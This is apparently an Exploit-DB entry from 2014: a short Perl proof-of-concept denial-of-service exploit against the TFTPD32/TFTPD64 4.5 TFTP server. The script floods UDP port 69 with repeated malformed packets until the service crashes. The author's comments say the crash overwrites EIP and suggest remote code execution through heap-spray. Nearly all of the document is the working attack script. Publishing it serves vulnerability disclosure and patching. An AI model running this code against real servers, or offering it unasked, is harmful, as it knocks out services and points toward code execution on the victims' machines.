TFTPD32 4.5 / TFTPD64 4.5 – Denial of Service (PoC)
# Exploit Title: TFTPD32 4.5 / TFTPD64 4.5 DoS poc # Date: 13/05/2014 # Exploit Author: j0s3h4x0r # Homepage: http://tftpd32.jounin.net/tftpd32_testimonials.html # Software Link: http://tftpd32.jounin.net/download/tftpd32.450.zip # Version: 4.5 32 bits / 4.5 64 bits # Tested on: [Windows 7 x64] #this proof of concept code will crash tftpd32 and tftpd64 #you can try changing $j and $i loop limits #most of the times EIP reaches 0x2E373231 == "127." or any string contained in tftpd32 error logs #and sometimes EIP reaches addresses similar to 0x00013200 so Remote Code Execution may be possible using some form of heap-spray ## Exploit-DB Note: $j=5, $i=2500 caused a crash. #!/usr/bin/perl -w use IO::Socket; for (my $j = 0; $j < 2; $j++) { sleep(2); for (my $i = 0; $i < 1500; $i++) { $st_socket = IO::Socket::INET->new(Proto=>'udp', PeerAddr=>'127.0.0.1', PeerPort=>69) or die "connect error"; $p_c_buffer = "\x0c\x0d" x 10; print $st_socket $p_c_buffer; close($st_socket); print "sent " . $i . "\n"; } } exit; |